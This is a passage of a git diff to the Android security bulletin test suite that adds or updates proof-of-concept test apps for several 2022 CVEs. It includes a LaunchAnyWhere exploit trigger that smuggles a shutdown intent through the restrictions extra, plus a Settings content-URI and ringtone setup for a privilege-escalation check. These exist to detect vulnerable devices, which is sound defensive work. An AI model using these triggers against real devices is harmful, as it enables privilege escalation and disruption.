+    <string name="appSettingsIconResId">%1$s:id/app_restrictions_settings</string>
+    <string name="customizeRestrictionsTextResId">restricted_profile_customize_restrictions</string>
     <string name="messageKey">message</string>
     <string name="resType">string</string>
     <string name="sharedPreferences">SharedPreferences</string>
+    <string name="shutdownMsgResId">shutdown_confirm</string>
     <string name="testFailMsg">
     Vulnerable to b/223578534!! LaunchAnyWhere in AppRestrictionsFragment due to unsafe package
     check
     </string>
     <string name="textResId">user_restrictions_title</string>
     <string name="timedOutMsg">Timed out waiting for text/res %1$s on display</string>
-    <string name="uriData">tel:555-TEST</string>
     <string name="userName">CVE_2022_20223_RestrictedUser</string>
 </resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
index e47e593..92b1df2 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
@@ -24,10 +24,10 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.SharedPreferences;
+import android.content.pm.PackageManager;
 import android.content.res.Resources;
 import android.os.Bundle;
 import android.provider.Settings;
-import android.telecom.TelecomManager;
 
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.uiautomator.By;
@@ -43,10 +43,11 @@
     private static final int TIMEOUT_MS = 20000;
     private UiDevice mDevice;
     private Context mContext;
+    private PackageManager mPackageManager;
 
-    private String getDefaultDialerPackage() {
-        TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class);
-        return telecomManager.getSystemDialerPackage();
+    boolean isTV() {
+        return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+                || mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
     }
 
     // Wait for UiObject to appear and click on the UiObject if it is visible
@@ -63,47 +64,77 @@
         try {
             mDevice = UiDevice.getInstance(getInstrumentation());
             mContext = getInstrumentation().getContext();
+            mPackageManager = mContext.getPackageManager();
+            if (isTV()) {
+                Intent intent = new Intent(Settings.ACTION_SECURITY_SETTINGS);
+                intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+                mContext.startActivity(intent);
 
-            Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
-            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
-            mContext.startActivity(intent);
+                // Click on text "Allowed apps"
+                String settingsPackageName =
+                        intent.resolveActivity(mPackageManager).getPackageName();
+                Resources res = mPackageManager.getResourcesForApplication(settingsPackageName);
+                String text = res.getString(
+                        res.getIdentifier(mContext.getString(R.string.allowAppsTextResId),
+                                mContext.getString(R.string.resType), settingsPackageName));
+                BySelector selector = By.text(text);
+                assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
 
-            BySelector selector = By.text(mContext.getString(R.string.userName));
-            assumeTrue(
-                    mContext.getString(R.string.timedOutMsg, mContext.getString(R.string.userName)),
-                    clickUiObject(selector));
+                // Click on text "Customize restrictions"
+                text = res.getString(res.getIdentifier(
+                        mContext.getString(R.string.customizeRestrictionsTextResId),
+                        mContext.getString(R.string.resType), settingsPackageName));
+                selector = By.text(text);
+                assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+            } else {
+                Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+                intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+                mContext.startActivity(intent);
 
-            String settingsPackageName =
-                    intent.resolveActivity(mContext.getPackageManager()).getPackageName();
-            Context settingsContext = mContext.createPackageContext(settingsPackageName,
-                    Context.CONTEXT_IGNORE_SECURITY);
-            Resources res = settingsContext.getPackageManager()
-                    .getResourcesForApplication(settingsPackageName);
-            String text = settingsContext
-                    .getString(res.getIdentifier(mContext.getString(R.string.textResId),
-                            mContext.getString(R.string.resType), settingsPackageName));
-            selector = By.text(text);
-            assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+                // Click on text "CVE_2022_20223_RestrictedUser"
+                BySelector selector = By.text(mContext.getString(R.string.userName));
+                assumeTrue(mContext.getString(R.string.timedOutMsg,
+                        mContext.getString(R.string.userName)), clickUiObject(selector));
 
-            selector = By.res(mContext.getString(R.string.appSettingsIconResId));
-            assumeTrue(
-                    mContext.getString(R.string.timedOutMsg,
-                            mContext.getString(R.string.appSettingsIconResId)),
-                    clickUiObject(selector));
+                // Click on text "App & content access"
+                String settingsPackageName =
+                        intent.resolveActivity(mPackageManager).getPackageName();
+                Resources res = mPackageManager.getResourcesForApplication(settingsPackageName);
+                String text =
+                        res.getString(res.getIdentifier(mContext.getString(R.string.textResId),
+                                mContext.getString(R.string.resType), settingsPackageName));
+                selector = By.text(text);
+                assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
 
+                // Click on icon with resource-id "<settingsPackage>:id/app_restrictions_settings"
+                selector = By.res(
+                        mContext.getString(R.string.appSettingsIconResId, settingsPackageName));
+                assumeTrue(
+                        mContext.getString(R.string.timedOutMsg, mContext
+                                .getString(R.string.appSettingsIconResId, settingsPackageName)),
+                        clickUiObject(selector));
+            }
+            // Check if ShutDown activity is launched indicating presence of vulnerability
+            String androidPackageName =
+                    PocBroadcastReceiver.getShutdownDefaultComponent(mContext).getPackageName();
+            Resources res = mPackageManager.getResourcesForApplication(androidPackageName);
+            String text =
+                    res.getString(res.getIdentifier(mContext.getString(R.string.shutdownMsgResId),
+                            mContext.getString(R.string.resType), androidPackageName));
             assertFalse(mContext.getString(R.string.testFailMsg),
-                    mDevice.wait(Until.hasObject(By.pkg(getDefaultDialerPackage())), TIMEOUT_MS));
+                    mDevice.wait(Until.hasObject(By.text(text)), TIMEOUT_MS));
         } catch (Exception e) {
             assumeNoException(e);
         } finally {
             try {
+                // Check occurrence of any exception in PocBroadcastReceiver
                 SharedPreferences sharedPrefs = mContext.getSharedPreferences(
                         mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND);
                 String assumptionFailure =
                         sharedPrefs.getString(mContext.getString(R.string.messageKey), null);
                 assumeTrue(assumptionFailure, assumptionFailure == null);
             } catch (Exception e) {
-                assumeNoException(e);
+                // Ignore exceptions here
             }
         }
     }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
index c3c7083..6df2b9d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
@@ -26,9 +26,8 @@
 
 public class PocBroadcastReceiver extends BroadcastReceiver {
 
-    ComponentName getPrivilegeCallDefaultComponent(Context context) {
-        Intent intent = new Intent(Intent.ACTION_CALL_PRIVILEGED);
-        intent.setData(Uri.parse(context.getString(R.string.uriData)));
+    static ComponentName getShutdownDefaultComponent(Context context) {
+        Intent intent = new Intent(Intent.ACTION_REQUEST_SHUTDOWN);
         return intent.resolveActivity(context.getPackageManager());
     }
 
@@ -36,14 +35,14 @@
     public void onReceive(Context context, Intent intent) {
         try {
             Bundle result = new Bundle();
-            Intent dialIntent = new Intent();
-            dialIntent.setComponent(getPrivilegeCallDefaultComponent(context));
-            dialIntent.setPackage(context.getPackageName());
-            dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
-            dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
-            result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+            Intent shutDownIntent = new Intent();
+            shutDownIntent.setComponent(getShutdownDefaultComponent(context));
+            shutDownIntent.setPackage(context.getPackageName());
+            shutDownIntent.setAction(Intent.ACTION_REQUEST_SHUTDOWN);
+            shutDownIntent.putExtra(Intent.EXTRA_KEY_CONFIRM, true);
+            shutDownIntent.putExtra(Intent.EXTRA_USER_REQUESTED_SHUTDOWN, true);
+            result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, shutDownIntent);
             setResultExtras(result);
-            return;
         } catch (Exception e) {
             SharedPreferences sh = context.getSharedPreferences(
                     context.getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
index 52f43c5..ec61aa1 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
@@ -63,25 +63,20 @@
         return mContext.getResources().getInteger(resId);
     }
 
+    void switchBluetoothMode(String action) {
+        Intent intent = new Intent(mContext, PocActivity.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(mContext.getString(R.string.btAction), action);
+        mContext.startActivity(intent);
+    }
+
     @Test
     public void testBluetoothDiscoverable() {
         OnSharedPreferenceChangeListener sharedPrefListener;
         SharedPreferences sharedPrefs;
         boolean btState = false;
         try {
-            BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
-
-            // Save the state of bluetooth adapter to reset after the test
-            btState = btAdapter.isEnabled();
-
-            // If bluetooth is disabled, enable it and wait for start activity to complete
             mContext = InstrumentationRegistry.getInstrumentation().getContext();
-            Intent intent = new Intent(mContext, PocActivity.class);
-            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            intent.putExtra(mContext.getString(R.string.btAction),
-                    BluetoothAdapter.ACTION_REQUEST_ENABLE);
-            mContext.startActivity(intent);
-
             Resources resources = mContext.getResources();
             sharedPrefs = mContext.getSharedPreferences(
                     resources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
@@ -96,6 +91,25 @@
                 }
             };
             sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener);
+            BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
+
+            // Save the state of bluetooth adapter to reset after the test
+            btState = btAdapter.isEnabled();
+
+            // Disable bluetooth if already enabled in 'SCAN_MODE_CONNECTABLE_DISCOVERABLE' mode
+            if (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE) {
+                switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
+                assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
+                        TimeUnit.MILLISECONDS));
+                int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
+                        resources.getInteger(R.integer.assumptionFailure));
+                String message = sharedPrefs.getString(resources.getString(R.string.messageKey),
+                        resources.getString(R.string.defaultSemaphoreMsg));
+                assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure));
+            }
+
+            // Enable bluetooth if in disabled state
+            switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_ENABLE);
             assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
                     TimeUnit.MILLISECONDS));
             int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
@@ -107,6 +121,9 @@
             // Checking if bluetooth is enabled. The test requires bluetooth to be enabled
             assumeTrue(btAdapter.isEnabled());
 
+            // Checking if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE
+            assumeTrue(btAdapter.getScanMode() != btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
             // Launch bluetooth settings which is supposed to set scan mode to
             // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
             UiAutomation uiautomation =
@@ -114,7 +131,7 @@
             uiautomation
                     .adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE);
             String settingsPkg = getSettingsPkgName();
-            intent = new Intent();
+            Intent intent = new Intent();
             intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             intent.setData(Uri.parse(mContext.getString(R.string.uri)));
             intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className));
@@ -135,11 +152,7 @@
             try {
                 // Disable bluetooth if it was OFF before the test
                 if (!btState) {
-                    Intent intent = new Intent(mContext, PocActivity.class);
-                    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-                    intent.putExtra(mContext.getString(R.string.btAction),
-                            BluetoothAdapter.ACTION_REQUEST_DISABLE);
-                    mContext.startActivity(intent);
+                    switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
                     assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
                             TimeUnit.MILLISECONDS));
                 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp
new file mode 100644
index 0000000..b07e9f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2022-20348",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml
new file mode 100644
index 0000000..ec6a775
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20348"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application>
+        <receiver android:name=".PocDeviceAdminReceiver"
+            android:permission="android.permission.BIND_DEVICE_ADMIN"
+            android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                android:resource="@xml/device_policies" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2022_20348" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml
new file mode 100644
index 0000000..e79968d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <string name="wifiScanningPattern">.*wi.fi scanning.*</string>
+    <string name="wifiScanningTimedOut">Timed out waiting on the text \'Wi-fi scanning\' to appear
+    </string>
+    <string name="failMsg">Device is vulnerable to b/228315529 !!</string>
+    <string name="locationIntentAction">android.settings.LOCATION_SCANNING_SETTINGS</string>
+    <string name="resWifiScanning">android:id/title</string>
+    <string name="setUserRestrictionFailed">Failed to set user restriction
+    UserManager.DISALLOW_CONFIG_LOCATION</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml
new file mode 100644
index 0000000..65ce601
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+    <uses-policies>
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java
new file mode 100644
index 0000000..9cdb35d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20348;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    Context mContext;
+    UiDevice mDevice;
+    DevicePolicyManager mDevicePolicyManager;
+    ComponentName mComponentName;
+    static final String USER_RESTRICTION = UserManager.DISALLOW_CONFIG_LOCATION;
+    static final int UI_TIMEOUT_MS = 5000;
+
+    String getStringRes(int key) {
+        return mContext.getResources().getString(key);
+    }
+
+    int getIntegerRes(int key) {
+        return mContext.getResources().getInteger(key);
+    }
+
+    @After
+    public void tearDown() {
+        try {
+            /* Return to home screen after test */
+            mDevice.pressHome();
+
+            /*
+             * Clear user restriction "DISALLOW_CONFIG_LOCATION" set by the test and also clear the
+             * app as device owner.
+             */
+            mDevicePolicyManager.clearUserRestriction(mComponentName, USER_RESTRICTION);
+            mDevicePolicyManager.clearDeviceOwnerApp(mContext.getPackageName());
+        } catch (Exception e) {
+            // ignore the exception as the test is already complete
+        }
+    }
+
+    @Test
+    public void testWifiScanningDisallowed() {
+        try {
+            mDevice = UiDevice.getInstance(getInstrumentation());
+            mContext = getApplicationContext();
+            mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+            mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+                    PocDeviceAdminReceiver.class.getName());
+            mDevicePolicyManager.addUserRestriction(mComponentName, USER_RESTRICTION);
+            UserManager userManager = mContext.getSystemService(UserManager.class);
+            assumeTrue(getStringRes(R.string.setUserRestrictionFailed),
+                    userManager.getUserRestrictions().getBoolean(USER_RESTRICTION));
+
+            /* Start the window that contains option to toggle "Wi-Fi scanning" on/off */
+            Intent intent = new Intent(getStringRes(R.string.locationIntentAction));
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent);
+
+            /* Wait for the window that contains option to toggle "Wi-Fi scanning" */
+            Pattern wifiScanningPattern = Pattern
+                    .compile(getStringRes(R.string.wifiScanningPattern), Pattern.CASE_INSENSITIVE);
+            boolean wifiScanningFound = mDevice.wait(Until.hasObject(
+                    By.text(wifiScanningPattern).res(getStringRes(R.string.resWifiScanning))),
+                    UI_TIMEOUT_MS);
+            assumeTrue(getStringRes(R.string.wifiScanningTimedOut), wifiScanningFound);
+
+            /*
+             * Check if the toggle "Wi-Fi scanning" is enabled, it is supposed to be disabled by
+             * the Device Admin in presence of fix
+             */
+            UiObject2 wifiScanningToggle = mDevice.findObject(
+                    By.text(wifiScanningPattern).res(getStringRes(R.string.resWifiScanning)));
+            assertFalse(getStringRes(R.string.failMsg), wifiScanningToggle.isEnabled());
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..129a6b5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20348;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp
new file mode 100644
index 0000000..37d35eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2022-20353",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml
new file mode 100644
index 0000000..d4129ac
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20353">
+    <application
+        android:label="@string/appName"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.RINGTONE_PICKER" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2022_20353" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml
new file mode 100644
index 0000000..3207c29
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="assumptionFailure">-1</integer>
+    <integer name="success">0</integer>
+    <integer name="timeoutMs">20000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml
new file mode 100644
index 0000000..27e87f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="alwaysButtonId">android:id/button_always</string>
+    <string name="appName">CVE-2022-20353</string>
+    <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+    <string name="failureMessage">
+    Device is vulnerable to b/221041256!! Privilege escalation possible in
+    com.android.settings.DefaultRingtonePreference
+    </string>
+    <string name="fileName">NOTICE.html</string>
+    <string name="getRingtoneCmd">settings get system ringtone</string>
+    <string name="messageKey">message</string>
+    <string name="noticeUri">
+    content://com.android.settings.files/my_cache/NOTICE.html
+    </string>
+    <string name="resType">string</string>
+    <string name="resultKey">result</string>
+    <string name="setRingtoneCmd">settings put system ringtone</string>
+    <string name="sharedPreferences">sharedPreferences</string>
+    <string name="textResId">ringtone_title</string>
+    <string name="uiObjectNotFoundMsg">Unable to find UiObject with %1$s text/id</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java
new file mode 100644
index 0000000..af1f978
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
